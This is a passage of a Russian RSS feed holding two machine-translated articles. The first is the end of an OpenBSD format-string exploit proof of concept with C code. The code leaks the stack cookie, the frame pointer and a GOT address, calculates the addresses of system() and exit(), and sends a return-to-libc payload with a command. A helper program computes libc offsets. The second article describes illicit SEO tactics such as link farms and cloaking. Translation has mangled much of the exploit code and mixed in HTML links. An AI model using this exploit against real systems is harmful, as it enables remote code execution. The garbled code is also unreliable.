href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybmNtcA==&#038;hash=21fc8d3703"> <span> "не может найти адрес возврата </span>  N </a>" <span> </span>) <span>; retoffset = cookieoffset + I </span> 1 <span>; кадра = readhex </span> (<span> расщепляется </span> [<span> и </span>] <span> (# )) </span>; отставке = readhex <span> (</span> расщепляется <span> [</span> I <span> 1 </span> <span>] </span> <span>) </span> (# ) <span> printf </span> <span> </span> (<span> </span> "найден по смещению:% I <span>  N </span>" <span>, retoffset </span>) <span>; </span> <span> printf <span> </span> </span> (<span> </span> "Ret: P%," <span>, в отставке </span>) <span> </span> <span> printf </span> <span> </span> (<span> </span> "Frame:% P," <span>, рамка </span>) <span> </span> <span> printf </span> <span> ( #) (</span> <span> "Cookie:% P </span>  N <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762">" <span>, маркеры </span>) </a> <span> / / хорошо мы получили то, что мы нуждаемся в стека, времени для GOT записи </span> memset <span> (<span> буфера, </span> 0 </span>, BUFFSIZE <span>) </span>; snprintf <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> (<span> буфера, BUFFSIZE, ( #) "%%% I $ S" </span>, targetbufferoffset </a> 2 <span> </span>) <span> </span> / / Lucky для нас, мы можем отправить нулевой байт, OBSD Devs делать все, чтобы сделать его <span> </span> / / сложнее взломать, GOT таблице содержатся адреса nullbyte - перейти цифра. <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> <span> / / Третий элемент printf (), поэтому мы добавляем 12 байт на наш адрес </span> writeaddress </a> (<span> буфера </span> 8 <span>, </span> (<span> GOTADDR </span> 12 <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> <span>) </span> </a>) <span>; sendrecv </span> (<span> буфера, mysocket, <span> 13 </span> </span>) <span>; bufferptr = </span> (<span> INT * </span>) <span> буфера; </span> ( #) кол <span> </span> = * bufferptr; <span> / / Если мы не повезло, libc отображается на адреса, содержащие 0x00 </span> <span>, если </span> <span> (</span> ( #) (<span> </span> <span> кол </span> <span> >></span> 24 <span> </span>) <span> == </span> 0 <span> </span>) (# ) myexit <span> (</span> <span> "повезло libc адрес содержит NUL-байт </span>  N <span>" </span> <span>) </span> <span> / / Теперь, когда у нас есть адрес printf, мы можем вычислить отдыха </span> systemaddr = <span> </span> кол <span> </span> - SYSTEMOFFSETFROMPRINTF; exitaddr = <span> </span> кол <span> </span> - EXITOFFSETFROMPRINTF; (# ) <span> printf </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGY291bnQ=&#038;hash=af27f3034e"> <span> (</span> </a> "Адрес printf ():% P" <span>, </span> <span> кол </span> <span> (# )) </span> <span> </span> printf <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGY291bnQ=&#038;hash=af27f3034e"> <span> </span> (</a> <span> ", система ():% P" </span>, systemaddr <span>) </span> <span> </span> printf <span> </span> <span> (</span> <span> ", выход ():% P <span>  N </span>" </span>, exitaddr <span>) </span> <span> / / хорошо сейчас у нас есть все информация нам нужна, чтобы написать эксплоит строки </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGY291bnQ=&#038;hash=af27f3034e"> / / Если мы предоставляем полную строку мы нуждаемся 1024 + маркеры ...  0 <span> memset </span> (</a> буфера, <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGY291bnQ=&#038;hash=af27f3034e"> 0 <span>, BUFFSIZE </span>) </a>; strncat <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> (<span> буфера, </span> "% .1024 U" </a>, BUFFSIZE <span>) </span>; bufferptr = <span> (</span> INT * <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGY291bnQ=&#038;hash=af27f3034e">) <span> </span> (</a> + буфер <span> </span> strlen <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> <span> </span> (</a> буфера <span>) </span> <span>) </span>; writeaddress <span> (</span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> (<span> символ * </span>) </a> bufferptr + +, маркеры <span> ) </span> <span> / / Добавить stackcookie <span> </span> / / Мы добавляем мусора на пространстве между маркеры и в отставке </span> колодки = retoffset - <span> (</span> cookieoffset <span> 1 </span> <span>) </span> <span> </span> printf <span> </span> <span> (</span> <span> "</span>  N <span> Pad:% I </span>  N <span> "</span>, колодки <span>) </span> <span> на </span> <span> (</span> I = <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybGVu&#038;hash=c703cbc5ae"> 0 <span>; I <колодки; I + + (# )) </span> </a> (<span> writeaddress </span> (<span> </span> (<span> символ * </span>) <span> bufferptr + +, 0xAAAAAAAA </span>) <span> </span> ) <span> writeaddress </span> (<span> </span> (<span> символ * </span>) <span> bufferptr + +, systemaddr </span>) <span> </span> / / Добавить система () (# ) writeaddress <span> (</span> <span> (</span> символ * <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762">) <span> bufferptr + +, exitaddr </span>) </a> <span> / / Добавление выхода ()</span> (# ) / / Добавить в адрес нашей системы () Строка, здесь мы угадать основанный на <span> <span> / / хранится framepointer мы retreived ранее, мы должны в наших земель салазок </span> writeaddress <span> (</span> </span> (<span> символ * </span>) <span> bufferptr + +, рамка </span> -1650 <span> </span>) <span> </span> / / Добавить указателя <span> </span> / / Заполнить буфер с нашей "NOP-салазкам", и добавить нашу команду для системы ()<span> memset </span> (<span> + буфер </span> <span> strlen </span> <span> </span> ((# ) буфера <span>) </span> <span> 1 </span>, <span>'/'</span>, <span> 800 </span> <span>) </span>; strncat <span> ((# ) буфер + </span> <span> strlen </span> <span> </span> (<span> буфера </span>) <span> </span> 1 <span>, команда, </span> <span> strlen (# ) </span> <span> (</span> командой <span>) </span> <span>) </span>; sendrecv <span> (</span> буфера, mysocket, BUFFSIZE <span>) </span> (# ) / / Закрыть соединение, ссылаться в отставке -> наш код <span> закрыть </span> (<span> mysocket </span>) <span> </span> возвращение <span> </span> 0 <span> </span> ) <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybGVu&#038;hash=c703cbc5ae"> <span> </span> </a> Есть еще три (две реально) жестко ценностей в эксплуатации, которые могли бы предотвратить атаки работать на вашей системе, во-первых, GOT адрес. Второй и третий являются offsetvalues, которые мы используем для расчета смещаться printf (), чтобы система () и выход (), SYSTEMOFFSETFROMPRINTF и EXITOFFSETFROMPRINTF. <span> </span> Эксплоита можно улучшить на поиск, и найти эти ценности, а, однако, поскольку я слишком ленив, и это лишь доказательство концепции Я жестко ценностей. Таким образом, вы, возможно, придется изменить эти значения, чтобы он работает на вашей системе. <span> </span> Если вы хотите получить эксплуатируют работающих на вашей системе, но не знаю, каким образом вы можете следить за указателями ниже [2]. <span> </span> Chris_fs@hushmail.com <span> </span> <span> [1] </span> Очень прохладный эксплуатировать на infamous41md, которая использует аналогичные методы в другом направлении. <span> </span> <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">http</a>://web.archive.org/web/20051121201432/<a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">http</a>://infamous.hackaholic.org/imapslap.cc.gz<span> </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybGVu&#038;hash=c703cbc5ae"> <span> [2] </span> Для получения GOT адрес вашего vuln ок, просто запустите: </a> <span> </span> objdump-ч vuln | grep получил <span> </span> <span> и записать адрес Организации. получили сегмент </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybGVu&#038;hash=c703cbc5ae"> Если вы не знаете, как вычислить смещение для SYSTEMOFFSETFROMPRINTF и EXITOFFSETFROMPRINTF можно обобщить ниже код и выполнить его так: <span>. / getoffset printf система </span>. / getoffset printf выхода ( #) </a>, вы должны изменить строку: # определить LIBC "/ usr/lib/libc.so.41.0" в матче с libc файла в вашей системе. Теперь после того, как вы правильно значения для GOT, SYSTEMOFFSETFROMPRINTF и EXITOFFSETFROMPRINTF просто изменить значения в эксплуатацию и перекомпилировать. Удачи! <span> </span> <span> # Включить </span> <span> </span> # включить <span> </span> <span> # определить LIBC "/ usr/lib/libc.so.41.0" </span> INT exiterror <span> (</span> * Текст символ <span>) </span> <span> (</span> <span> </span> printf <span> </span> <span> (</span> текст </pre>
<p>) </p>
<p> возвращение </p>
<p> -1 </p>
<p>) <br /> INT основной <br /> (<br /> INT argc, символ * argv <br /> [<strong> ( #)] </strong> <br />) <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRndlYi5hcmNoaXZlLm9yZyUyRndlYiUyRjIwMDUxMTIxMjAxNDMyJTJGaHR0cCUzQSUyRiUyRmluZmFtb3VzLmhhY2thaG9saWMub3JnJTJGaW1hcHNsYXAuY2MuZ3o=&#038;hash=00f8f50fea"> </a> (<br /> недействительной * FP = <br /> 0 <strong> * fp2 = </strong> 0 <br /> * ручку <br />, если
<pre> </pre>
<p> (<br /> argc! = <br /> 3 </p>
<p>) </p>
<p> возвращение <br /> exiterror <br /> (<br /> 
<pre> "Использование:. / прог function1 function2 <span>  N < dlfcn.h > "</span> <span>) < stdio.h > </span> / / Получить ручку слишком libc <span> ручкой = dlopen </span> (<span> LIBC, DL_LAZY (# )) </span> <span>, если </span> <span> (</span> == ручку <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> 0 <span> </span>) </a> <span> возвращение </span> exiterror <span> (( #) </span> "Не по dlopen ()<span>  N </span>" <span> </span>) <span>; FP = dlsym </span> (<span> ручкой, argv </span> [(# ) <span> 1 </span> <span>] </span> <span>) </span>; fp2 = dlsym <span> (</span> ручкой, argv <span> [</span> <span> 2 </span> <span>] </span> <span>) </span> <span>, если </span> <span> (</span> FP == <span> 0 </span> <span>) </span> <span> вернуться <span> exiterror </span> (</span> <span> "Ошибка при обнаружении первой функции </span>  N <span>" </span> <span>) </span> <span>, если </span> <span> ( </span> fp2 == <span> 0 </span> <span>) </span> <span> возвращение </span> exiterror <span> (</span> <span> "Ошибка при обнаружении второй функции </span>  N (# ) "<span> <span>) </span> </span> <span> printf </span> <span> </span> (<span> </span>" адрес libc% S ():% P <span>  N </span> "<span>, argv </span> [<span> </span> 1 <span> </span>] <span>, FP </span>) <span> </span> <span> printf ( #) </span> <span> (</span> <span> "адрес libc% S ():% P </span>  N <span>" </span>, argv <span> [</span> <span> 2 </span> <span>] </span>, fp2 <span>) </span> <span> <span> printf </span> </span> <span> (</span> <span> "Смещение:% I </span>  N <span> "</span>, <span> (</span> INT <span>) </span> FP - <span> (</span> INT <span>) </span> fp2 <span>) <span> </span>) </span> <span> </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> <span> </span> Статья: Chris_fs </a> <span> </span> <span> <span> </span></p>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/20/formatstrings-i-openbsd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ilegal SEO технологий</title>
		<link>http://fvsd.ru/2009/06/20/ilegal-seo-texnologij/</link>
		<comments>http://fvsd.ru/2009/06/20/ilegal-seo-texnologij/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 21:03:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Ilegal]]></category>
		<category><![CDATA[технологий]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/20/ilegal-seo-texnologij/</guid>
		<description><![CDATA[ Когда SEO профессиональных указывает на то, что он или она будет безопасной входящие ссылки для вас, попросите их рассказать вам, как конкретно они будут делать это. Правильный ответ состоит в том, что они будут конкретные, уже существующие и создали  веб-сайты для получения входящего ссылке из них к вам (в большинстве случаев без ссылки [...]]]></description>
			<content:encoded><![CDATA[<p> Когда SEO профессиональных указывает на то, что он или она будет безопасной входящие ссылки для вас, попросите их рассказать вам, как конкретно они будут делать это. Правильный ответ состоит в том, что они будут конкретные, уже существующие и создали <span id="more-4"></span> веб-сайты для получения входящего ссылке из них к вам (в большинстве случаев без ссылки на них). Если вы профессиональный рассказывает, что они будут строить вам сотни и тысячи страниц в различных областях, что будет ссылка на ваш сайт, не работают с ними, как это будет жестоко калечат вашего сайта. </p>
<p> <!--GoogleAd -->
<div> <!-- end of google ads --> </div>
<p> Также периодически поиск доменных имен в основных поисковых системах, чтобы посмотреть, какие объекты должны быть для вас. Если вы видите что-либо из простых, таких как веб-сайты, чьи домены очень долго или тарабарщина (много чисел и случайных или неуместные слова) или страниц, которые являются просто длинный список ссылок, ваш подход SEO профессионально о том, как Ваш сайт удален из этих страниц и узнать, как они появились здесь в первую очередь. </p>
<p> <strong> LINK ферм </strong> <br /> также известен как Spamexing или Spamdexing. </p>
<p> Ссылка ферма представляет собой серию сайты создаются исключительно для строительства жилья на безвозмездной основе ссылки, указывающие на коллекцию сайтов. Оно может быть также сеть веб-сайтов, взаимодействие друг с другом. </p>
<p> Такие сайты считаются незаконными с точки зрения Google, и крупные поисковые системы, поскольку они направлены на достижение высоких рейтингов для сайтов, которые не заработали этих рейтингов на основе разумного содержания и общего качества. </p>
<p> В качестве стратегии, используя ссылку хозяйств, или spamdexing поисковой системы, это очень опасно. </p>
<p> Даже если ваш сайт имеет большое содержание, если вы или ваш SEO консультант использовать эту технику, ваш сайт будет по-прежнему получать наказание или запрещены, потому что двигатели цифру, что если у вас есть хорошее содержание вас не будет прибегать к таким скрытую тактику, направленных на их уловки.  </p>
<p> <strong> Входные страницы </strong> <br /> также известен как рекламные страницы Перейти страницы Gateway страницы и т.д. </p>
<p> Вход Страницы форме целевых страниц, который предназначены исключительно для поисковых систем, и зачастую даже не просматриваться человека посетитель. На этих страницах часто используют перенаправление скрипт, который автоматически указывает посетителя на другую страницу веб-сайта без прав посетитель никогда видим дверной странице. Это также известная как клоакинг и четко определено в качестве незаконной практики в Google и других поисковых системах. </p>
<p> Единственный раз, когда целевая страница является приемлемым поисковых машин, если она находится в форме информативный, хорошо написана статья о том, что права посетителей читать и наслаждаться, если они не обманули на кнопку или перенаправлены на Сайт основной страницы.  </p>
<p> <strong> Наполнение ключевыми словами </strong> <br /> Одна из первоначальных незаконные методы SEO, наполнение ключевыми словами, когда вы загружаете страницу полный определенным ключевым словам, ни в мета-теги, другие скрипт-теги или в само содержание. </p>
<p> Это отличается от оптимизации страницы по определенным ключевым словам, так же слова повторяются десятки или сотни раз нет доверия или информативный способ. </p>
<p> Ключевые слова скрыты несколькими способами, например, некоторые люди будут делать в тексте того же цвета, как фон так поисковики увидеть его, но нет посетителей может. Другие скрыть ключевые слова-теги в сценарий. Но пока другие будут использовать CSS позиционировать ключевые слова, за ваши видна область экрана, опять же, чтобы ни один человек посетители могут увидеть, &#8211; но поисковики могут.  </p>
<p> Хотя на поверхности, с использованием таких методов, как может показаться привлекательной идея. Тем не менее, поисковые машины могут определить ключевые слова, которая используется надлежащим образом и будут наказывать или запрет на своем сайте с помощью любой из вышеперечисленных методов вещи ключевые слова в ваш сайт. </p>
<p> <strong> Скребковые страниц </strong> (# ) Также известен как Авто Сгенерирована страницы. </p>
<p> Скребковые страниц состоит из тех, результаты поиска или содержимое автоматически извлекается из десятков или сотен веб-сайтов и поисковых системах результаты. Это является одной из форм плагиата, как никакая часть скребка страница исходное содержание. </p>
<p> Чаще всего, такие сайты используются для показа объявлений Google Adsense или другие объявления, которые оплачивает владелец сайта каждый раз, когда пользователь нажимает на нее. Однако поисковые системы получили очень хорошие на запрещение таких объектов с их результатами и прав посетители могут легко обнаруживать их, как хорошо. </p>
<p> Скребковые сайты легко обнаружить, поскольку они в значительной мере нелогично. Они фрагменты других содержимое веб-страницы или результаты поиска, и, следовательно, не имеют разумной точке и не имеет смысла, если их читать. </p>
<p> </p>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/20/ilegal-seo-texnologij/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

